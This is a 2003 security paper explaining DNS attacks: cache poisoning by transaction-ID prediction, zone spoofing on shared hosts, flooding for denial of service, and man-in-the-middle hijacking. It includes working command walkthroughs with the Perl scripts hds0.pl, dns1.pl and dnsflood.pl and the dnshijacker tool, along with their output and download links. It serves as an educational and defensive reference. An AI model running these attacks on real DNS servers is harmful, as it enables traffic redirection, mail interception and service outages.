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Attacking the DNS Protocol – Security Paper v2
Wednesday, 29 October 2003
• Typical DNS Attacks
• Cache Poisoning using DNS
Transaction ID Prediction
• Example of a Cache Poisoning Attack
on a DNS Server
• Example of a Cache Poisoning Attack
on a DNS Server
• DNS Vulnerabilities in Shared Host
Environments
• Example DNS Flooding – Creating a
DNS Denial of Service Attack
• DNS Man in the Middle Attacks
DNS Hijacking
Security Associates Institute. All Rights Reserved
Permission is granted to freely copy, distribute and/or modify this document
Paper Overview
DNS is a heavily used protocol on the
Internet yet has numerous security
considerations.
This paper whilst containing nothing new
on DNS security brings together in one
document many strands of DNS security
which has been published and reported in
many separate publications before. As such
this document intends to act as a single
point of reference for DNS security.
This paper contains some basic and
advanced level attacks.
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Attacking the DNS Protocol
DNS stands for Domain Name System and it is used to resolve domain names to IP
addresses and vice versa. A DNS server will listen on UDP port 53 for name resolution
queries and TCP port 53 for zone transfers which are conducted most typically by
other DNS servers. Estimates put DNS as occupying almost 20% of all Internet
traffic.
The Berkley Internet Name Service (BIND) is the most common form of DNS server
used on the Internet. BIND typically runs on UNIX type systems. The DNS server
stores information which it serves out about a particular domain (also referred to as a
namespace) in text files called zone files.
A DNS client runs a service called a resolver. The resolver handles all interaction with
the DNS server in order to resolve names to IP addresses using what are called
records. There are many types of records, but the most common are A, CNAME and
MX records.
A client (the resolver) maintains a small amount of local cache which it will refer to
first before looking at a local static host’s file and then finally the DNS server. The
result returned will then be cached by the client for a small period of time.
When a DNS server is contacted for a resolution query, and if it is authoritative (has
the answer to the question in its own database) for a particular domain (referred to
as a zone) it will return the answer to the client. If it is not authoritative for the
domain, the DNS server will contact other name servers and eventually it will get the
answer it needs which is passed back to the client. This process is known as
recursion.
Additionally the client itself can attempt to contact additional DNS servers to resolve a
name. When a client does so, it uses separate and additional queries based on
referral answers from servers. This process is known as iteration. Generally recursion
is the most common form of resolution used.
Typical DNS Attacks
DNS servers have been attacked and compromised using a number of techniques.
Examples include:
•  Buffer overflow attacks to gain command level access on the DNS server or
to modify zone files.
•  Information Disclosure attacks such as zone transfers and obtaining version
information.
•  Cache poisoning attacks whereby the cache of the DNS is deliberately
contaminated by an attacker. This is done using DNS Transaction ID
predication or Recursive queries.
Buffer overflow attacks follow the typical network infrastructure mapping and
research steps followed by execution of an exploit as outlined previously. Similarly
information disclosure attacks have been discussed in the same network
infrastructure mapping and research sections.
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The advanced and skilled technique of cache poisoning will be discussed next. The
assumption is the target DNS server is a BIND server as the majority of DNS servers
on the Internet are BIND.
Cache Poisoning using DNS Transaction ID Prediction
When a client in the domain sa.com makes a request to resolve www.microsoft.com
the below sequence events will typically occur.
1. The client will contact its configured DNS server and ask for
www.microsoft.com to be resolved. This query will contain information about
the client’s source UDP port, IP address and a DNS transaction ID.
2. The client’s DNS server since it is not authoritative for the microsoft.com
domain will through recursive queries via the Internet root DNS servers
contact the Microsoft DNS server and get an answer for the query.
3. This successful query will then be passed back to the client and this
information is cached by both the sa.com name server and the client.
DNS Name Resolution Request
The important things to note here are:
•  In step 3 the client will only accept the information returned if the DNS
server uses the clients correct source port and address in addition to the
correct DNS transaction ID as noted in step 1. These three pieces of
information are the only form of authentication used to accept DNS replies.
•  The returned www.microsoft.com information is cached by both the client
and the server for a specified TTL (time to live) period. If another client was
to ask ns1.sa.com to resolve www.microsoft.com during this TTL the name
server will return the information from its cache and not ask
ns1.microsoft.com
A distinction needs to be made to the transaction ID as used between the client and
the name server and the transaction ID as used between name server to name
server. These are in fact two different transaction ID’s as in essence they are two
different requests.
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The above steps can be abused by an attacker to place false information in
ns1.sa.com’s cache. In the below illustration the attacker attempts to correctly guess
the transaction ID used during the name server to name server communication
stage.
To achieve this an attacker would:
1. Send a large number of resolution requests each spoofed with different
source IP information for www.microsoft.com to ns1.sa.com. The logic of
sending many requests is that each request will be assigned a unique
transaction ID and even though all requests are for the same domain name,
each will be processed independently.
2. The ns1.sa.com will send each of these requests to the other DNS servers
and eventually ns1.microsoft.com as highlighted at the top of this section.
Hence the ns1.sa.com server is awaiting a large number of replies from
ns1.microsoft.com.
3. The attacker uses this wait stage to bombard ns1.sa.com with spoofed
replies from ns1.microsoft.com stating that www.microsoft.com points to an
IP address which is under the attacker’s control i.e. false information. Each
spoofed reply has a different transaction ID. The attacker hopes to guess
the correct transaction ID as used the two name servers.
DNS Poison Attack
If the attacker is successful the false information will be stored in ns1.sa.com’s cache.
Note this is very much a name server to name server attack which will affect clients
who use the target name server with false information.
BIND transactional ID’s are in the range of 1-65535.
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Recall how three pieces of information are required for the query to be accepted,
notably the transaction ID, the source IP and the source port. Knowing the source IP
is straight forward as we know the address of the name server to be queried. The
source port however presents a challenge.
More often than not BIND will reuse the same source port for queries on behalf of
the same client i.e. the BIND name server. Hence, if an attacker is working from an
authoritative name server, he can first issue a request for a DNS lookup of a
hostname on his server from the target server and when the recursive query packet
arrives the source port can be obtained.
It is likely this will be the same source port used when the victim sends the queries
for the domain to be hijacked. Examine the below sniffed output of three subsequent
queries for different domain names:
172.16.1.2.22343 > 128.1.4.100.53
172.16.1.2.22343 > 23.55.3.56.53
172.16.1.2.22343 > 42.14.212.5.53
All three queries used source port 22343 while querying four different name servers.
This is illustrated in the below diagram.
DNS Poison Attack
BIND versions 4 and 8 use sequential transaction ID’s. This means an attacker can
easily find the current ID simply by making a query to the server and observing the
ID number and be in the knowledge that the next query BIND will make to say
another name server will be simply +1 of this value.
BIND version 9 assigns transaction ID’s on a random basis and does not send
multiple recursive queries for the same domain name.
Example of a Cache Poisoning Attack on a DNS Server
We will examine two scripts which have been released which provide a
demonstration of a cache poisoning attack.
Assume our target name server is ns1.sa.com (12.12.12.12) and we wish to poison
its cache to believe www.microsoft.com resolves to 10.10.10.10 in the hope that all
future queries it will receive for the TTL this information is in the cache will be
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directed to this 10.10.10.10. address. We know microsoft.com’s DNS server is
ns1.microsoft.com (13.13.13.13).
The first of the scripts is called dns1.pl 1 and was released as a proof of concept but
is modified in our example to obtain the source port of the DNS server. It needs to be
run from an authoritative name server which the attacker controls to query the target
name server for a hostname for which the attacker’s machine is authoritative.
Say in our example the script is running from ns1.happydays.com and the attacker
queries the target name server for www.happydays.com:
dns1.pl 12.12.12.12 www.happydays.com
source port: 54532
Having obtained the source port we run the second script written by Ramon Izaguirre
called hds0.pl 2 (this script requires the RAW IP Perl Module) which actually executes
the attack.
./hds0.pl 13.13.13.13 12.12.12.12 54532 www.microsoft.com 10.10.10.10
(ns1.microsoft.com) (ns1.sa.com) (source port) (spoof targets)
To observe if the attack was successful simply query the target name server:
dig @12.12.12.12 www.microsoft.com
www.microsoft.com 86400 IN A 10.10.10.10
In the above case www.microsoft.com resolves to 10.10.10.10, hence the attack has
been successful. Note that if the attack was unsuccessful and the correct IP address
for www.microsoft.com was obtained that you will have to wait for the duration of
the TTL to expire in the cache before you can try again. Additionally it is likely the
domain microsoft.com has more than one DNS server, it is highly likely that it also
has an ns2.microsoft.com server. The attacker does not know which of the
authoritative DNS servers of the target domain will get queried.
DNS Vulnerabilities in Shared Host Environments
A shared host environment is where one DNS server is shared amongst many users
and domains. Domain parking and free DNS services facilities provide this feature
whereby a user can add a domain name they have just registered.
This vulnerability is not with any specific DNS server but rather an abuse of the open
trust relationship of the Internet DNS system. As such this is very much a
architecture flaw than a vulnerability.
Say an attacker using a shared DNS server creates a zone file for the microsoft.com
domain and adds relevant A and MX records. Now any user who has the said DNS
server configured as primary from a client will when attempting to go to
microsoft.com be directed to the records as configured by the client i.e. potentially
false information.
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This is because as far the DNS server is concerned it is authoritative for the
microsoft.com domain and therefore does not need to query the Internet root servers
and .com name servers to find the IP address of the primary Microsoft name server
as it already has the required information in its zone files. Potentially if the attacker
configures MX records all mail destined for the victim and which has the victims MX
records queried by the abused name server could be redirected to the attacker.
This attack is illustrated in the below diagram:
DNS Shared Host Vulnerability
Note step 3 whereby the DNS server since it has the information in its zone file does
not send further recursive queries. If this information had not been present in its
zone files, then the DNS server would have first contacted the Internet root servers
and then the .com name servers before asking the question asked to it by the client
to the given microsoft.com name server.
Example DNS Flooding – Creating a DNS Denial of Service Attack
DNS servers like other Internet resources are prone to denial of service attacks. Since
DNS uses UDP queries for name resolution, meaning a full circuit is never established
(as contrasted with TCP) denial of service attacks are almost impossible to trace and
block as they are highly spoofable.
To create a denial of service on a DNS server a script such as dnsflood.pl 3 can be
used simultaneously from multiple machines to starve the server of resources.
DNSflood works by sending many thousands of rapid DNS requests, thereby giving
the server more traffic than it can handle resulting in slower and slower response
times for legitimate requests.
In the below example dnsflood is run from one machine and the DNS server queried
from another machine.
First the attacker runs the script:
[root@fanta dns]# perl dnsflood.pl 128.1.1.100
attacked: 128.1.1.100...
Notice from the below tcpdump sniffed output from the attacking machine the
different types of DNS packets sent, each with a different spoofed source port.
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[root@fanta /root]# tcpdump -vvv -X dst port 53
tcpdump: listening on eth0
18:55:53.618983 42.95.39.205.domain > 128.1.1.100.domain: 35698+[|domain] (ttl 64,
id 1565, len 108)
0x0000 4500 006c 061d 0000 4011 a0d3 2a5f 27cd E..l....@...*_'.
0x0010 8001 0164 0035 0035 0058 f00f 8b72 0100 ...d.5.5.X...r..
0x0020 0001 0000 0000 0000 3a63 6b6c 7266 6969 ........:cklrfii
0x0030 7363 6d61 7362 scmasb
18:55:53.621071 95.10.15.152.domain > 128.1.1.100.domain: 35699+[|domain] (ttl 64,
id 1565, len 109)
0x0000 4500 006d 061d 0000 4011 845c 5f0a 0f98 E..m....@..\_...
0x0010 8001 0164 0035 0035 0059 3fbf 8b73 0100 ...d.5.5.Y?..s..
0x0020 0001 0000 0000 0000 3b63 6b6c 7266 6969 ........;cklrfii
0x0030 7363 6d61 7362 scmasb
To assess the impact of this attack on performance the attacker from another
machine first clears his local cache and then queries the target name server. Clearing
the local cache will ensure the resolver gets the information from the server and not
locally.
D:\>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
D:\>nslookup
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 128.1.1.100: Timed out
*** Default servers are not available
Default Server: UnKnown
Address: 128.1.1.100
> ms2.sa.com
Server: UnKnown
Address: 128.1.1.100
DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to UnKnown timed-out
> ms3.sa.com
Server: UnKnown
Address: 128.1.1.100
DNS request timed out.
timeout was 2 seconds.
Name: ms3.sa.com
Address: 128.1.47.1
> exit
The attacker then stops the attack and then once again from another machine
queries the target name server after once again clearing the cache.
D:\>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
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D:\>nslookup
Default Server: ns1.sa.com
Address: 128.1.1.100
> ms2.rhs.net
Server: ns1.sa.com
Address: 128.1.1.100
Name: ms2.sa.com
Address: 128.1.23.8
> exit
Notice the distinction between the queries conducted during the attack and after the
attack was stopped. It seems evident the attack had a performance impact on the
server. If this attack was multiplied from a number of machines then the impact
would be even greater.
DNS Man in the Middle Attacks – DNS Hijacking
If an attacker is able to insert himself between the client and the DNS server he may
be able to intercept replies to client name resolution queries and send false
information mapping addresses to incorrect addresses. This type of attack is very
much a race condition, in that the attacker needs to get his reply back to the client
before the legitimate server does. The odds may be stacked in the favour of the
client as a number of recursive queries may need to be made and the attacker may
be able to slow the client’s primary DNS server down by using a denial of service
attack.
This attack is illustrated in the below diagram:
Figure 5.8 – DNS Man in the Middle Attack
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The diagram above shows:
1. The attacker places himself between the client and name server
2. The client makes a DNS request for resolution of www.microsoft.com
3. This request is intercepted by the attacker who replies with false information
4. The DNS server replies with the correct information
Once again this is a race condition, the winner will be the first packet which hits the
client.
To execute this attack a tool called DNS Hijacker 4 is used and run on the attackers
man in the middle machine. DNS Hijacker uses a fabrication table to store the
falsified information to be returned. The below table shows the hostname
ms2.sa.com configured to reply with a address of 10.10.10.10. The actual address for
ms2.sa.com as configured by the DNS administrator is 128.1.23.8.
[root@fanta dnshijacker]# more ftable
10.10.10.10  ms2.sa.com
Next the attacker starts the DNS Hijacker program as shown below:
[root@fanta dnshijacker]# dnshijacker -f ftable udp src or dst port 53
[dns hijacker v1.2 ]
sniffing on: eth0
using filter: udp dst port 53 and udp src or dst port 53
fabrication table: ftable
dns activity: 128.1.4.232:1027 > 128.1.1.100:53 [ms2.sa.com = ?]
spoofing answer: 128.1.1.100:53 > 128.1.4.232:1027 [ms2.sa.com =
10.10.10.10]
Notice the first request asking for resolution of ms2.sa.com and the spoofed answer
returned by the attacker of 10.10.10.10. Below from the client side this information is
accepted:
[root@fanta init.d]# nslookup
Default Server: [128.1.1.100]
Address: 128.1.1.100
> ms2.sa.com
Server: [128.1.1.100]
Address: 128.1.1.100
Name: ms2.sa.com
Address: 10.10.10.10
The incorrect information is returned to the client and accepted as valid. DNS hijacker
has a –d option with which all DNS requests intercepted will be returned false
information.
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Document References and Credits
[1] - http://www.rnp.br/cais/alertas/2002/cais-ALR-
19112002a.html
[2] - http://www.securityfocus.com/guest/17905
Tools Used
The below tools were used in this document and can be downloaded from the
Security Associates Institute’s website. These are Open Source tools not written by
the Institute and are provided for download “as is” and full respect provided to the
authors of these tools. Read the README file of each distribution or the source code
for authors information.
Dns1.pl 1 – http://www.sainstitute.org/articles/tools/Dns1.pl
Hds0.pl 2  – http://www.sainstitute.org/articles/tools/Hds0.pl
Dnsflood.pl 3  – http://www.sainstitute.org/articles/tools/Dnsflood.pl
DNS Hijacker 4  – http://www.sainstitute.org/articles/tools/DNS Hijacker